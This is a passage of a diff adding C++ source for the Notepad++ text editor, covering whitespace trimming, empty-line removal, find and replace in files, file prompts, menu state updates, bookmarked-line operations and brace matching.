+ ++column; + + if (column > 0 && column % tabWidth == 0) + tabStop += tabWidth; + } + } + + if (i <= currentPos) + ++newCurrentPos; + } + *dest = '\0'; + break; + } + } + + _pEditView->execute(SCI_BEGINUNDOACTION); + _pEditView->execute(SCI_SETTEXT, 0, reinterpret_cast(destination)); + _pEditView->execute(SCI_GOTOPOS, newCurrentPos); + + for (size_t i=0; iexecute(SCI_MARKERADD, bookmarks[i], MARK_BOOKMARK); + + for (size_t i=0; ifold(folding[i], false); + + _pEditView->execute(SCI_ENDUNDOACTION); + + // clean up + delete [] source; + delete [] destination; +} + +void Notepad_plus::doTrim(trimOp whichPart) +{ + // whichPart : line head or line tail + FindOption env; + if (whichPart == lineHeader) + { + env._str2Search = TEXT("^[ ]+"); + } + else if (whichPart == lineTail) + { + env._str2Search = TEXT("[ ]+$"); + } + else + return; + env._str4Replace = TEXT(""); + env._searchType = FindRegex; + _findReplaceDlg.processAll(ProcessReplaceAll, &env, true); +} + +void Notepad_plus::removeEmptyLine(bool isBlankContained) +{ + // whichPart : line head or line tail + FindOption env; + if (isBlankContained) + { + env._str2Search = TEXT("^[\\t ]*$(\\r\\n|\\r|\\n)"); + } + else + { + env._str2Search = TEXT("^$(\\r\\n|\\r|\\n)"); + } + env._str4Replace = TEXT(""); + env._searchType = FindRegex; + + _findReplaceDlg.processAll(ProcessReplaceAll, &env, true); + + + // remove the last line if it's an empty line. + if (isBlankContained) + { + env._str2Search = TEXT("(\\r\\n|\\r|\\n)^[\\t ]*$"); + } + else + { + env._str2Search = TEXT("(\\r\\n|\\r|\\n)^$"); + } + _findReplaceDlg.processAll(ProcessReplaceAll, &env, true); +} + +void Notepad_plus::getMatchedFileNames(const TCHAR *dir, const vector & patterns, vector & fileNames, bool isRecursive, bool isInHiddenDir) +{ + generic_string dirFilter(dir); + dirFilter += TEXT("*.*"); + WIN32_FIND_DATA foundData; + + HANDLE hFile = ::FindFirstFile(dirFilter.c_str(), &foundData); + + if (hFile != INVALID_HANDLE_VALUE) + { + + if (foundData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + if (!isInHiddenDir && (foundData.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)) + { + // do nothing + } + else if (isRecursive) + { + if ((lstrcmp(foundData.cFileName, TEXT("."))) && (lstrcmp(foundData.cFileName, TEXT("..")))) + { + generic_string pathDir(dir); + pathDir += foundData.cFileName; + pathDir += TEXT("\\"); + getMatchedFileNames(pathDir.c_str(), patterns, fileNames, isRecursive, isInHiddenDir); + } + } + } + else + { + if (matchInList(foundData.cFileName, patterns)) + { + generic_string pathFile(dir); + pathFile += foundData.cFileName; + fileNames.push_back(pathFile.c_str()); + } + } + } + while (::FindNextFile(hFile, &foundData)) + { + if (foundData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + if (!isInHiddenDir && (foundData.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)) + { + // do nothing + } + else if (isRecursive) + { + if ((lstrcmp(foundData.cFileName, TEXT("."))) && (lstrcmp(foundData.cFileName, TEXT("..")))) + { + generic_string pathDir(dir); + pathDir += foundData.cFileName; + pathDir += TEXT("\\"); + getMatchedFileNames(pathDir.c_str(), patterns, fileNames, isRecursive, isInHiddenDir); + } + } + } + else + { + if (matchInList(foundData.cFileName, patterns)) + { + generic_string pathFile(dir); + pathFile += foundData.cFileName; + fileNames.push_back(pathFile.c_str()); + } + } + } + ::FindClose(hFile); +} + +bool Notepad_plus::replaceInFiles() +{ + const TCHAR *dir2Search = _findReplaceDlg.getDir2Search(); + if (!dir2Search[0] || !::PathFileExists(dir2Search)) + { + return false; + } + + bool isRecursive = _findReplaceDlg.isRecursive(); + bool isInHiddenDir = _findReplaceDlg.isInHiddenDir(); + int nbTotal = 0; + + ScintillaEditView *pOldView = _pEditView; + _pEditView = &_invisibleEditView; + Document oldDoc = _invisibleEditView.execute(SCI_GETDOCPOINTER); + Buffer * oldBuf = _invisibleEditView.getCurrentBuffer(); //for manually setting the buffer, so notifications can be handled properly + + vector patterns2Match; + _findReplaceDlg.getPatterns(patterns2Match); + if (patterns2Match.size() == 0) + { + _findReplaceDlg.setFindInFilesDirFilter(NULL, TEXT("*.*")); + _findReplaceDlg.getPatterns(patterns2Match); + } + vector fileNames; + + getMatchedFileNames(dir2Search, patterns2Match, fileNames, isRecursive, isInHiddenDir); + + Progress progress(_pPublicInterface->getHinst()); + size_t filesCount = fileNames.size(); + size_t filesPerPercent = 1; + + if (filesCount > 1) + { + if (filesCount >= 200) + filesPerPercent = filesCount / 100; + progress.open(_findReplaceDlg.getHSelf(), TEXT("Replace In Files progress...")); + } + + for (size_t i = 0, updateOnCount = filesPerPercent; i < filesCount; ++i) + { + if (progress.isCancelled()) break; + + bool closeBuf = false; + + BufferID id = MainFileManager->getBufferFromName(fileNames.at(i).c_str()); + if (id == BUFFER_INVALID) + { + id = MainFileManager->loadFile(fileNames.at(i).c_str()); + closeBuf = true; + } + + if (id != BUFFER_INVALID) + { + Buffer * pBuf = MainFileManager->getBufferByID(id); + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, pBuf->getDocument()); + auto cp = _invisibleEditView.execute(SCI_GETCODEPAGE); + _invisibleEditView.execute(SCI_SETCODEPAGE, pBuf->getUnicodeMode() == uni8Bit ? cp : SC_CP_UTF8); + _invisibleEditView.setCurrentBuffer(pBuf); + + FindersInfo findersInfo; + findersInfo._pFileName = fileNames.at(i).c_str(); + int nbReplaced = _findReplaceDlg.processAll(ProcessReplaceAll, FindReplaceDlg::_env, true, &findersInfo); + nbTotal += nbReplaced; + if (nbReplaced) + { + MainFileManager->saveBuffer(id, pBuf->getFullPathName()); + } + + if (closeBuf) + MainFileManager->closeBuffer(id, _pEditView); + } + if (i == updateOnCount) + { + updateOnCount += filesPerPercent; + progress.setPercent(int32_t((i * 100) / filesCount), fileNames.at(i).c_str()); + } + else + { + progress.setInfo(fileNames.at(i).c_str()); + } + } + + progress.close(); + + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, oldDoc); + _invisibleEditView.setCurrentBuffer(oldBuf); + _pEditView = pOldView; + + TCHAR msg[128]; + wsprintf(msg, TEXT("Replace in Files: %s occurrences replaced"), commafyInt(nbTotal).c_str()); + _findReplaceDlg.setStatusbarMessage(msg, FSMessage); + + return true; +} + +bool Notepad_plus::findInFinderFiles(FindersInfo *findInFolderInfo) +{ + int nbTotal = 0; + ScintillaEditView *pOldView = _pEditView; + _pEditView = &_invisibleEditView; + Document oldDoc = _invisibleEditView.execute(SCI_GETDOCPOINTER); + + vector patterns2Match; + _findReplaceDlg.getPatterns(patterns2Match); + if (patterns2Match.size() == 0) + { + _findReplaceDlg.setFindInFilesDirFilter(NULL, TEXT("*.*")); + _findReplaceDlg.getPatterns(patterns2Match); + } + + vector fileNames = findInFolderInfo->_pSourceFinder->getResultFilePaths(); + + findInFolderInfo->_pDestFinder->beginNewFilesSearch(); + findInFolderInfo->_pDestFinder->addSearchLine(findInFolderInfo->_findOption._str2Search.c_str()); + + Progress progress(_pPublicInterface->getHinst()); + + size_t filesCount = fileNames.size(); + size_t filesPerPercent = 1; + + if (filesCount > 1) + { + if (filesCount >= 200) + filesPerPercent = filesCount / 100; + progress.open(_findReplaceDlg.getHSelf(), TEXT("Find In Files progress...")); + } + + for (size_t i = 0, updateOnCount = filesPerPercent; i < filesCount; ++i) + { + if (progress.isCancelled()) break; + + bool closeBuf = false; + BufferID id = MainFileManager->getBufferFromName(fileNames.at(i).c_str()); + if (id == BUFFER_INVALID) + { + id = MainFileManager->loadFile(fileNames.at(i).c_str()); + closeBuf = true; + } + + if (id != BUFFER_INVALID) + { + Buffer * pBuf = MainFileManager->getBufferByID(id); + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, pBuf->getDocument()); + auto cp = _invisibleEditView.execute(SCI_GETCODEPAGE); + _invisibleEditView.execute(SCI_SETCODEPAGE, pBuf->getUnicodeMode() == uni8Bit ? cp : SC_CP_UTF8); + + findInFolderInfo->_pFileName = fileNames.at(i).c_str(); + nbTotal += _findReplaceDlg.processAll(ProcessFindInFinder, &(findInFolderInfo->_findOption), true, findInFolderInfo); + if (closeBuf) + MainFileManager->closeBuffer(id, _pEditView); + } + if (i == updateOnCount) + { + updateOnCount += filesPerPercent; + progress.setPercent(int32_t((i * 100) / filesCount), fileNames.at(i).c_str()); + } + else + { + progress.setInfo(fileNames.at(i).c_str()); + } + } + progress.close(); + + findInFolderInfo->_pDestFinder->finishFilesSearch(nbTotal, findInFolderInfo->_findOption._isMatchLineNumber); + + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, oldDoc); + _pEditView = pOldView; + + return true; +} + +bool Notepad_plus::findInFiles() +{ + const TCHAR *dir2Search = _findReplaceDlg.getDir2Search(); + + if (not dir2Search[0] || not ::PathFileExists(dir2Search)) + { + return false; + } + + bool isRecursive = _findReplaceDlg.isRecursive(); + bool isInHiddenDir = _findReplaceDlg.isInHiddenDir(); + int nbTotal = 0; + ScintillaEditView *pOldView = _pEditView; + _pEditView = &_invisibleEditView; + Document oldDoc = _invisibleEditView.execute(SCI_GETDOCPOINTER); + + vector patterns2Match; + _findReplaceDlg.getPatterns(patterns2Match); + if (patterns2Match.size() == 0) + { + _findReplaceDlg.setFindInFilesDirFilter(NULL, TEXT("*.*")); + _findReplaceDlg.getPatterns(patterns2Match); + } + + vector fileNames; + getMatchedFileNames(dir2Search, patterns2Match, fileNames, isRecursive, isInHiddenDir); + + _findReplaceDlg.beginNewFilesSearch(); + + Progress progress(_pPublicInterface->getHinst()); + + size_t filesCount = fileNames.size(); + size_t filesPerPercent = 1; + + if (filesCount > 1) + { + if (filesCount >= 200) + filesPerPercent = filesCount / 100; + progress.open(_findReplaceDlg.getHSelf(), TEXT("Find In Files progress...")); + } + + for (size_t i = 0, updateOnCount = filesPerPercent; i < filesCount; ++i) + { + if (progress.isCancelled()) break; + + bool closeBuf = false; + BufferID id = MainFileManager->getBufferFromName(fileNames.at(i).c_str()); + if (id == BUFFER_INVALID) + { + id = MainFileManager->loadFile(fileNames.at(i).c_str()); + closeBuf = true; + } + + if (id != BUFFER_INVALID) + { + Buffer * pBuf = MainFileManager->getBufferByID(id); + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, pBuf->getDocument()); + auto cp = _invisibleEditView.execute(SCI_GETCODEPAGE); + _invisibleEditView.execute(SCI_SETCODEPAGE, pBuf->getUnicodeMode() == uni8Bit ? cp : SC_CP_UTF8); + FindersInfo findersInfo; + findersInfo._pFileName = fileNames.at(i).c_str(); + nbTotal += _findReplaceDlg.processAll(ProcessFindAll, FindReplaceDlg::_env, true, &findersInfo); + if (closeBuf) + MainFileManager->closeBuffer(id, _pEditView); + } + if (i == updateOnCount) + { + updateOnCount += filesPerPercent; + progress.setPercent(int32_t((i * 100) / filesCount), fileNames.at(i).c_str()); + } + else + { + progress.setInfo(fileNames.at(i).c_str()); + } + } + + progress.close(); + + _findReplaceDlg.finishFilesSearch(nbTotal); + + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, oldDoc); + _pEditView = pOldView; + + _findReplaceDlg.putFindResult(nbTotal); + + FindHistory & findHistory = (NppParameters::getInstance())->getFindHistory(); + if (nbTotal && !findHistory._isDlgAlwaysVisible) + _findReplaceDlg.display(false); + return true; +} + + +bool Notepad_plus::findInOpenedFiles() +{ + int nbTotal = 0; + ScintillaEditView *pOldView = _pEditView; + _pEditView = &_invisibleEditView; + Document oldDoc = _invisibleEditView.execute(SCI_GETDOCPOINTER); + + Buffer * pBuf = NULL; + + const bool isEntireDoc = true; + + _findReplaceDlg.beginNewFilesSearch(); + + if (_mainWindowStatus & WindowMainActive) + { + for (size_t i = 0, len = _mainDocTab.nbItem(); i < len ; ++i) + { + pBuf = MainFileManager->getBufferByID(_mainDocTab.getBufferByIndex(i)); + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, pBuf->getDocument()); + auto cp = _invisibleEditView.execute(SCI_GETCODEPAGE); + _invisibleEditView.execute(SCI_SETCODEPAGE, pBuf->getUnicodeMode() == uni8Bit ? cp : SC_CP_UTF8); + FindersInfo findersInfo; + findersInfo._pFileName = pBuf->getFullPathName(); + nbTotal += _findReplaceDlg.processAll(ProcessFindAll, FindReplaceDlg::_env, isEntireDoc, &findersInfo); + } + } + + if (_mainWindowStatus & WindowSubActive) + { + for (size_t i = 0, len2 = _subDocTab.nbItem(); i < len2 ; ++i) + { + pBuf = MainFileManager->getBufferByID(_subDocTab.getBufferByIndex(i)); + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, pBuf->getDocument()); + auto cp = _invisibleEditView.execute(SCI_GETCODEPAGE); + _invisibleEditView.execute(SCI_SETCODEPAGE, pBuf->getUnicodeMode() == uni8Bit ? cp : SC_CP_UTF8); + FindersInfo findersInfo; + findersInfo._pFileName = pBuf->getFullPathName(); + nbTotal += _findReplaceDlg.processAll(ProcessFindAll, FindReplaceDlg::_env, isEntireDoc, &findersInfo); + } + } + + _findReplaceDlg.finishFilesSearch(nbTotal); + + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, oldDoc); + _pEditView = pOldView; + + _findReplaceDlg.putFindResult(nbTotal); + + FindHistory & findHistory = (NppParameters::getInstance())->getFindHistory(); + if (nbTotal && !findHistory._isDlgAlwaysVisible) + _findReplaceDlg.display(false); + return true; +} + + +bool Notepad_plus::findInCurrentFile() +{ + int nbTotal = 0; + Buffer * pBuf = _pEditView->getCurrentBuffer(); + ScintillaEditView *pOldView = _pEditView; + _pEditView = &_invisibleEditView; + Document oldDoc = _invisibleEditView.execute(SCI_GETDOCPOINTER); + + const bool isEntireDoc = true; + + _findReplaceDlg.beginNewFilesSearch(); + + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, pBuf->getDocument()); + UINT cp = static_cast(_invisibleEditView.execute(SCI_GETCODEPAGE)); + _invisibleEditView.execute(SCI_SETCODEPAGE, pBuf->getUnicodeMode() == uni8Bit ? cp : SC_CP_UTF8); + FindersInfo findersInfo; + findersInfo._pFileName = pBuf->getFullPathName(); + nbTotal += _findReplaceDlg.processAll(ProcessFindAll, FindReplaceDlg::_env, isEntireDoc, &findersInfo); + + _findReplaceDlg.finishFilesSearch(nbTotal); + + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, oldDoc); + _pEditView = pOldView; + + _findReplaceDlg.putFindResult(nbTotal); + + FindHistory & findHistory = (NppParameters::getInstance())->getFindHistory(); + if (nbTotal && !findHistory._isDlgAlwaysVisible) + _findReplaceDlg.display(false); + return true; +} + +void Notepad_plus::filePrint(bool showDialog) +{ + Printer printer; + + int startPos = int(_pEditView->execute(SCI_GETSELECTIONSTART)); + int endPos = int(_pEditView->execute(SCI_GETSELECTIONEND)); + + printer.init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf(), _pEditView, showDialog, startPos, endPos, _nativeLangSpeaker.isRTL()); + printer.doPrint(); +} + +int Notepad_plus::doSaveOrNot(const TCHAR *fn) +{ + TCHAR pattern[64] = TEXT("Save file \"%s\" ?"); + TCHAR phrase[512]; + wsprintf(phrase, pattern, fn); + return doActionOrNot(TEXT("Save"), phrase, MB_YESNOCANCEL | MB_ICONQUESTION | MB_APPLMODAL); +} + +int Notepad_plus::doReloadOrNot(const TCHAR *fn, bool dirty) +{ + TCHAR* pattern = TEXT("%s\r\rThis file has been modified by another program.\rDo you want to reload it%s?"); + TCHAR* lose_info_str = dirty ? TEXT(" and lose the changes made in Notepad++") : TEXT(""); + TCHAR phrase[512]; + wsprintf(phrase, pattern, fn, lose_info_str); + int icon = dirty ? MB_ICONEXCLAMATION : MB_ICONQUESTION; + return doActionOrNot(TEXT("Reload"), phrase, MB_YESNO | MB_APPLMODAL | icon); +} + +int Notepad_plus::doCloseOrNot(const TCHAR *fn) +{ + TCHAR pattern[128] = TEXT("The file \"%s\" doesn't exist anymore.\rKeep this file in editor?"); + TCHAR phrase[512]; + wsprintf(phrase, pattern, fn); + return doActionOrNot(TEXT("Keep non existing file"), phrase, MB_YESNO | MB_ICONQUESTION | MB_APPLMODAL); +} + +int Notepad_plus::doDeleteOrNot(const TCHAR *fn) +{ + TCHAR pattern[128] = TEXT("The file \"%s\"\rwill be moved to your Recycle Bin and this document will be closed.\rContinue?"); + TCHAR phrase[512]; + wsprintf(phrase, pattern, fn); + return doActionOrNot(TEXT("Delete file"), phrase, MB_YESNO | MB_ICONQUESTION | MB_APPLMODAL); +} + +int Notepad_plus::doActionOrNot(const TCHAR *title, const TCHAR *displayText, int type) +{ + return ::MessageBox(_pPublicInterface->getHSelf(), displayText, title, type); +} + +void Notepad_plus::enableMenu(int cmdID, bool doEnable) const +{ + int flag = doEnable?MF_ENABLED | MF_BYCOMMAND:MF_DISABLED | MF_GRAYED | MF_BYCOMMAND; + ::EnableMenuItem(_mainMenuHandle, cmdID, flag); +} + +void Notepad_plus::enableCommand(int cmdID, bool doEnable, int which) const +{ + if (which & MENU) + { + enableMenu(cmdID, doEnable); + } + if (which & TOOLBAR) + { + _toolBar.enable(cmdID, doEnable); + } +} + +void Notepad_plus::checkClipboard() +{ + bool hasSelection = (_pEditView->execute(SCI_GETSELECTIONSTART) != _pEditView->execute(SCI_GETSELECTIONEND)); + bool canPaste = (_pEditView->execute(SCI_CANPASTE) != 0); + enableCommand(IDM_EDIT_CUT, hasSelection, MENU | TOOLBAR); + enableCommand(IDM_EDIT_COPY, hasSelection, MENU | TOOLBAR); + + enableCommand(IDM_EDIT_PASTE, canPaste, MENU | TOOLBAR); + enableCommand(IDM_EDIT_DELETE, hasSelection, MENU | TOOLBAR); + enableCommand(IDM_EDIT_UPPERCASE, hasSelection, MENU); + enableCommand(IDM_EDIT_LOWERCASE, hasSelection, MENU); + enableCommand(IDM_EDIT_PROPERCASE_FORCE, hasSelection, MENU); + enableCommand(IDM_EDIT_PROPERCASE_BLEND, hasSelection, MENU); + enableCommand(IDM_EDIT_SENTENCECASE_FORCE, hasSelection, MENU); + enableCommand(IDM_EDIT_SENTENCECASE_BLEND, hasSelection, MENU); + enableCommand(IDM_EDIT_INVERTCASE, hasSelection, MENU); + enableCommand(IDM_EDIT_RANDOMCASE, hasSelection, MENU); +} + +void Notepad_plus::checkDocState() +{ + Buffer * curBuf = _pEditView->getCurrentBuffer(); + + bool isCurrentDirty = curBuf->isDirty(); + bool isSeveralDirty = isCurrentDirty; + bool isFileExisting = PathFileExists(curBuf->getFullPathName()) != FALSE; + if (!isCurrentDirty) + { + for (size_t i = 0; i < MainFileManager->getNbBuffers(); ++i) + { + if (MainFileManager->getBufferByIndex(i)->isDirty()) + { + isSeveralDirty = true; + break; + } + } + } + + bool isCurrentUntitled = curBuf->isUntitled(); + enableCommand(IDM_FILE_SAVE, isCurrentDirty, MENU | TOOLBAR); + enableCommand(IDM_FILE_SAVEALL, isSeveralDirty, MENU | TOOLBAR); + enableCommand(IDM_VIEW_GOTO_NEW_INSTANCE, !(isCurrentDirty || isCurrentUntitled), MENU); + enableCommand(IDM_VIEW_LOAD_IN_NEW_INSTANCE, !(isCurrentDirty || isCurrentUntitled), MENU); + + bool isSysReadOnly = curBuf->getFileReadOnly(); + if (isSysReadOnly) + { + ::CheckMenuItem(_mainMenuHandle, IDM_EDIT_SETREADONLY, MF_BYCOMMAND | MF_UNCHECKED); + enableCommand(IDM_EDIT_SETREADONLY, false, MENU); + enableCommand(IDM_EDIT_CLEARREADONLY, true, MENU); + } + else + { + enableCommand(IDM_EDIT_SETREADONLY, true, MENU); + enableCommand(IDM_EDIT_CLEARREADONLY, false, MENU); + bool isUserReadOnly = curBuf->getUserReadOnly(); + ::CheckMenuItem(_mainMenuHandle, IDM_EDIT_SETREADONLY, MF_BYCOMMAND | (isUserReadOnly?MF_CHECKED:MF_UNCHECKED)); + } + + enableCommand(IDM_FILE_DELETE, isFileExisting, MENU); + enableCommand(IDM_FILE_RENAME, isFileExisting, MENU); + enableCommand(IDM_FILE_OPEN_CMD, isFileExisting, MENU); + enableCommand(IDM_FILE_OPEN_FOLDER, isFileExisting, MENU); + enableCommand(IDM_FILE_RELOAD, isFileExisting, MENU); + + enableCommand(IDM_FILE_OPEN_DEFAULT_VIEWER, isAssoCommandExisting(curBuf->getFullPathName()), MENU); + + enableConvertMenuItems(curBuf->getEolFormat()); + checkUnicodeMenuItems(); + checkLangsMenu(-1); + + if (_pAnsiCharPanel) + _pAnsiCharPanel->switchEncoding(); + + enableCommand(IDM_VIEW_MONITORING, not curBuf->isUntitled(), MENU | TOOLBAR); + enableCommand(IDM_EDIT_SETREADONLY, not curBuf->isMonitoringOn(), MENU); + checkMenuItem(IDM_VIEW_MONITORING, curBuf->isMonitoringOn()); + _toolBar.setCheck(IDM_VIEW_MONITORING, curBuf->isMonitoringOn()); +} + +void Notepad_plus::checkUndoState() +{ + enableCommand(IDM_EDIT_UNDO, _pEditView->execute(SCI_CANUNDO) != 0, MENU | TOOLBAR); + enableCommand(IDM_EDIT_REDO, _pEditView->execute(SCI_CANREDO) != 0, MENU | TOOLBAR); +} + +void Notepad_plus::checkMacroState() +{ + enableCommand(IDM_MACRO_STARTRECORDINGMACRO, !_recordingMacro, MENU | TOOLBAR); + enableCommand(IDM_MACRO_STOPRECORDINGMACRO, _recordingMacro, MENU | TOOLBAR); + enableCommand(IDM_MACRO_PLAYBACKRECORDEDMACRO, !_macro.empty() && !_recordingMacro, MENU | TOOLBAR); + enableCommand(IDM_MACRO_SAVECURRENTMACRO, !_macro.empty() && !_recordingMacro, MENU | TOOLBAR); + + enableCommand(IDM_MACRO_RUNMULTIMACRODLG, (!_macro.empty() && !_recordingMacro) || !((NppParameters::getInstance())->getMacroList()).empty(), MENU | TOOLBAR); +} + +void Notepad_plus::checkSyncState() +{ + bool canDoSync = viewVisible(MAIN_VIEW) && viewVisible(SUB_VIEW); + if (!canDoSync) + { + _syncInfo._isSynScollV = false; + _syncInfo._isSynScollH = false; + checkMenuItem(IDM_VIEW_SYNSCROLLV, false); + checkMenuItem(IDM_VIEW_SYNSCROLLH, false); + _toolBar.setCheck(IDM_VIEW_SYNSCROLLV, false); + _toolBar.setCheck(IDM_VIEW_SYNSCROLLH, false); + } + enableCommand(IDM_VIEW_SYNSCROLLV, canDoSync, MENU | TOOLBAR); + enableCommand(IDM_VIEW_SYNSCROLLH, canDoSync, MENU | TOOLBAR); +} + +void doCheck(HMENU mainHandle, int id) +{ + MENUITEMINFO mii; + mii.cbSize = sizeof(MENUITEMINFO); + mii.fMask = MIIM_SUBMENU | MIIM_FTYPE | MIIM_ID | MIIM_STATE; + + int count = ::GetMenuItemCount(mainHandle); + for (int i = 0; i < count; i++) + { + ::GetMenuItemInfo(mainHandle, i, MF_BYPOSITION, &mii); + if (mii.fType == MFT_RADIOCHECK || mii.fType == MFT_STRING) + { + if (mii.hSubMenu == 0) + { + if (mii.wID == (unsigned int)id) + { + ::CheckMenuRadioItem(mainHandle, 0, count, i, MF_BYPOSITION); + } + else + { + mii.fState = 0; + ::SetMenuItemInfo(mainHandle, i, MF_BYPOSITION, &mii); + } + } + else + { + doCheck(mii.hSubMenu, id); + } + } + } +} + +void Notepad_plus::checkLangsMenu(int id) const +{ + Buffer * curBuf = _pEditView->getCurrentBuffer(); + if (id == -1) + { + id = (NppParameters::getInstance())->langTypeToCommandID(curBuf->getLangType()); + if (id == IDM_LANG_USER) + { + if (curBuf->isUserDefineLangExt()) + { + const TCHAR *userLangName = curBuf->getUserDefineLangName(); + const int nbChar = 16; + TCHAR menuLangName[nbChar]; + + for (int i = IDM_LANG_USER + 1 ; i <= IDM_LANG_USER_LIMIT ; ++i) + { + if (::GetMenuString(_mainMenuHandle, i, menuLangName, nbChar-1, MF_BYCOMMAND)) + if (!lstrcmp(userLangName, menuLangName)) + { + HMENU _langMenuHandle = ::GetSubMenu(_mainMenuHandle, MENUINDEX_LANGUAGE); + doCheck(_langMenuHandle, i); + return; + } + } + } + } + } + HMENU _langMenuHandle = ::GetSubMenu(_mainMenuHandle, MENUINDEX_LANGUAGE); + doCheck(_langMenuHandle, id); +} + +generic_string Notepad_plus::getLangDesc(LangType langType, bool getName) +{ + + if ((langType >= L_EXTERNAL) && (langType < NppParameters::getInstance()->L_END)) + { + ExternalLangContainer & elc = NppParameters::getInstance()->getELCFromIndex(langType - L_EXTERNAL); + if (getName) + return generic_string(elc._name); + else + return generic_string(elc._desc); + } + + if (langType > L_EXTERNAL) + langType = L_TEXT; + + generic_string str2Show; + if (getName) + str2Show = ScintillaEditView::langNames[langType].shortName; + else + str2Show = ScintillaEditView::langNames[langType].longName; + + if (langType == L_USER) + { + Buffer * currentBuf = _pEditView->getCurrentBuffer(); + if (currentBuf->isUserDefineLangExt()) + { + str2Show += TEXT(" - "); + str2Show += currentBuf->getUserDefineLangName(); + } + } + return str2Show; +} + +void Notepad_plus::copyMarkedLines() +{ + int lastLine = _pEditView->lastZeroBasedLineNumber(); + generic_string globalStr = TEXT(""); + for (int i = lastLine ; i >= 0 ; i--) + { + if (bookmarkPresent(i)) + { + generic_string currentStr = getMarkedLine(i) + globalStr; + globalStr = currentStr; + } + } + str2Cliboard(globalStr); +} + +void Notepad_plus::cutMarkedLines() +{ + LongRunningOperation op; + + int lastLine = _pEditView->lastZeroBasedLineNumber(); + generic_string globalStr = TEXT(""); + + _pEditView->execute(SCI_BEGINUNDOACTION); + for (int i = lastLine ; i >= 0 ; i--) + { + if (bookmarkPresent(i)) + { + generic_string currentStr = getMarkedLine(i) + globalStr; + globalStr = currentStr; + + deleteMarkedline(i); + } + } + _pEditView->execute(SCI_ENDUNDOACTION); + str2Cliboard(globalStr); +} + +void Notepad_plus::deleteMarkedLines(bool isMarked) +{ + LongRunningOperation op; + + int lastLine = _pEditView->lastZeroBasedLineNumber(); + + _pEditView->execute(SCI_BEGINUNDOACTION); + for (int i = lastLine ; i >= 0 ; i--) + { + if (bookmarkPresent(i) == isMarked) + deleteMarkedline(i); + } + _pEditView->execute(SCI_ENDUNDOACTION); +} + +void Notepad_plus::pasteToMarkedLines() +{ + LongRunningOperation op; + + int clipFormat; + clipFormat = CF_UNICODETEXT; + + BOOL canPaste = ::IsClipboardFormatAvailable(clipFormat); + if (!canPaste) + return; + int lastLine = _pEditView->lastZeroBasedLineNumber(); + + ::OpenClipboard(_pPublicInterface->getHSelf()); + HANDLE clipboardData = ::GetClipboardData(clipFormat); + ::GlobalSize(clipboardData); + LPVOID clipboardDataPtr = ::GlobalLock(clipboardData); + + generic_string clipboardStr = (const TCHAR *)clipboardDataPtr; + + ::GlobalUnlock(clipboardData); + ::CloseClipboard(); + + _pEditView->execute(SCI_BEGINUNDOACTION); + for (int i = lastLine ; i >= 0 ; i--) + { + if (bookmarkPresent(i)) + { + replaceMarkedline(i, clipboardStr.c_str()); + } + } + _pEditView->execute(SCI_ENDUNDOACTION); +} + +void Notepad_plus::deleteMarkedline(int ln) +{ + int lineLen = static_cast(_pEditView->execute(SCI_LINELENGTH, ln)); + int lineBegin = static_cast(_pEditView->execute(SCI_POSITIONFROMLINE, ln)); + + bookmarkDelete(ln); + TCHAR emptyString[2] = TEXT(""); + _pEditView->replaceTarget(emptyString, lineBegin, lineBegin + lineLen); +} + +void Notepad_plus::inverseMarks() +{ + int lastLine = _pEditView->lastZeroBasedLineNumber(); + for (int i = 0 ; i <= lastLine ; ++i) + { + if (bookmarkPresent(i)) + { + bookmarkDelete(i); + } + else + { + bookmarkAdd(i); + } + } +} + +void Notepad_plus::replaceMarkedline(int ln, const TCHAR *str) +{ + int lineBegin = static_cast(_pEditView->execute(SCI_POSITIONFROMLINE, ln)); + int lineEnd = static_cast(_pEditView->execute(SCI_GETLINEENDPOSITION, ln)); + + _pEditView->replaceTarget(str, lineBegin, lineEnd); +} + +generic_string Notepad_plus::getMarkedLine(int ln) +{ + auto lineLen = _pEditView->execute(SCI_LINELENGTH, ln); + auto lineBegin = _pEditView->execute(SCI_POSITIONFROMLINE, ln); + + TCHAR * buf = new TCHAR[lineLen+1]; + _pEditView->getGenericText(buf, lineLen + 1, lineBegin, lineBegin + lineLen); + generic_string line = buf; + delete [] buf; + + return line; +} + +void Notepad_plus::findMatchingBracePos(int & braceAtCaret, int & braceOpposite) +{ + int caretPos = int(_pEditView->execute(SCI_GETCURRENTPOS)); + braceAtCaret = -1; + braceOpposite = -1; + TCHAR charBefore = '\0'; + + int lengthDoc = int(_pEditView->execute(SCI_GETLENGTH)); + + if ((lengthDoc > 0) && (caretPos > 0)) + { + charBefore = TCHAR(_pEditView->execute(SCI_GETCHARAT, caretPos - 1, 0)); + } + // Priority goes to character before caret + if (charBefore && generic_strchr(TEXT("[](){}"), charBefore)) + { + braceAtCaret = caretPos - 1; + } + + if (lengthDoc > 0 && (braceAtCaret < 0)) + { + // No brace found so check other side + TCHAR charAfter = TCHAR(_pEditView->execute(SCI_GETCHARAT, caretPos, 0)); + if (charAfter && generic_strchr(TEXT("[](){}"), charAfter)) + { + braceAtCaret = caretPos; + } + } + if (braceAtCaret >= 0) + braceOpposite = int(_pEditView->execute(SCI_BRACEMATCH, braceAtCaret, 0)); +} + +// return true if 1 or 2 (matched) brace(s) is found +bool Notepad_plus::braceMatch() +{ + int braceAtCaret = -1; + int braceOpposite = -1; + findMatchingBracePos(braceAtCaret, braceOpposite); + + if ((braceAtCaret != -1) && (braceOpposite == -1)) + { + _pEditView->execute(SCI_BRACEBADLIGHT, braceAtCaret); + _pEditView->execute(SCI_SETHIGHLIGHTGUIDE, 0); + } + else + { + _pEditView->execute(SCI_BRACEHIGHLIGHT, braceAtCaret, braceOpposite); + + if (_pEditView->isShownIndentGuide()) + { + int columnAtCaret = int(_pEditView->execute(SCI_GETCOLUMN, braceAtCaret)); + int columnOpposite = 